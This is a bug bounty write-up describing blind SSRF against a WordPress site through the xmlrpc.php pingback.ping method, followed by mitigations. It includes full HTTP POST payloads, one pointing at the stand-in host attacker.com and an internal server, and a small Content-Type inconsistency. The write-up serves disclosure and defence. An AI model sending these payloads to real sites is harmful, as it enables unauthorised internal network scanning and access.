Blind SSRF Vulnerability

Hello,

My name is Tushar Gurav, and I am a Bug Bounty Hunter and Security Researcher. Recently, while participating in a private bug bounty program, I began with the usual recon process using tools such as subfinder, findomain, and Google Dorking (Google Hacking). During my reconnaissance, I discovered a subdomain that used WordPress as its CMS.

To dig deeper, I ran a directory fuzzing scan using a custom wordlist and found that the site had no authentication on the xmlrpc.php file. Recognizing the potential for exploitation, I decided to investigate further and focus on crafting a Server-Side Request Forgery (SSRF) attack.

When xmlrpc.php is active, attackers can potentially perform credential brute-force attacks or use it to launch Denial of Service (DoS) attacks against other resources. However, in this article, we are going to focus on exploiting SSRF using the xmlrpc.php file.

SSRF stands for Server-Side Request Forgery, a vulnerability where an attacker tricks the server into making requests to internal or external services. In a typical SSRF attack, the attacker can send crafted requests to internal services or even bypass firewalls and access private IP ranges.

In the case of Blind SSRF, the attacker cannot see the response of the request, but they can still make the server send requests to their target.

Before diving into the vulnerability, let’s first understand what the xmlrpc.php file does and its role in WordPress.

XML-RPC is an API in WordPress that allows remote applications to interact with a WordPress site. It gives developers a way to perform actions that typically require logging into the WordPress dashboard, such as:

Publishing, editing, and deleting posts.Uploading files.Managing comments.

However, if xmlrpc.php is misconfigured or left open, it can be used to exploit the server in various ways, including SSRF attacks.

By design, the xmlrpc.php file only accepts POST requests. This is crucial because XML-RPC interacts with the server by sending structured XML data. To exploit it, we need to send crafted POST requests to xmlrpc.php.

Here’s an example of a basic POST request to xmlrpc.php:

Go to burpsuite and send this request to the repeater.Change the request method to POST.Get the URL of your server listener and set this payload at requestPOST /xmlrpc.php HTTP/1.1
Host: vulnerable-wordpress-site.com
Content-Type: application/xml
Content-Length: 91

<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

This request invokes the system.listMethods API call, which returns a list of all methods available through xmlrpc.php. The response might look something like this:

<methodResponse>
<params>
<param>
<value>
<array>
<data>
<value><string>wp.getUsersBlogs</string></value>
<value><string>wp.newPost</string></value>
<value><string>pingback.ping</string></value>
<value><string>system.listMethods</string></value>
<!-- Additional methods -->
</data>
</array>
</value>
</param>
</params>
</methodResponse>

In this list, we can see several methods, such as:

wp.getUsersBlogs: Retrieves the blogs the user has access to.wp.newPost: Allows publishing a new post.pingback.ping: Can be abused to perform SSRF attacks.

The pingback.ping method, in particular, is what we will exploit to perform SSRF.

Now that we know about the available methods, let’s look at how to exploit SSRF using the pingback.ping method.

SSRF Exploit Using pingback.ping

The pingback.ping method allows WordPress to notify other sites when a post links to their content. However, this method can be exploited to make the server send requests to any arbitrary URL, including internal services that the attacker normally wouldn’t have access to.

Here’s an example of how you can exploit SSRF using this method:

POST /xmlrpc.php HTTP/1.1
Host: vulnerable-wordpress-site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 345

<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://attacker.com/log</string></value> <!-- Attacker's server to log requests -->
</param>
<param>
<value><string>http://internal-server.local/</string></value> <!-- Internal service being targeted -->
</param>
</params>
</methodCall>

In this request:

The first URL (http://attacker.com/log) is a server controlled by the attacker, where any request made by the WordPress server will be logged.The second URL (http://internal-server.local/) is an internal service within the target’s network that the attacker wants to access.

The server will attempt to “ping” the internal URL and send a request to the attacker’s server. This way, the attacker can confirm that the internal service exists and potentially interact with it.

The impact of exploiting SSRF through XML-RPC can be significant:

Bypassing Firewalls: The attacker can make the server send requests to internal services, even if they’re behind a firewall.Internal Network Scanning: By exploiting SSRF, attackers can scan the internal network and discover services that should not be publicly accessible.Data Exfiltration: Attackers might be able to access sensitive internal resources, such as databases or internal APIs.Further Exploitation: SSRF can often lead to Remote Code Execution (RCE) if the attacker can interact with certain vulnerable services.

To prevent this vulnerability, it is crucial to:

Disable XML-RPC if it’s not required. You can block access by adding this rule to .htaccess:<Files xmlrpc.php>
order deny,allow
deny from all
</Files>

2. Limit Access: Ensure that only trusted external services can be accessed by the server. Implement strict network rules to prevent unauthorized requests to internal services.

3. WAF: Use a Web Application Firewall to detect and block malicious XML-RPC requests.

4. Input Validation: Ensure that only trusted URLs are accepted as parameters for XML-RPC calls.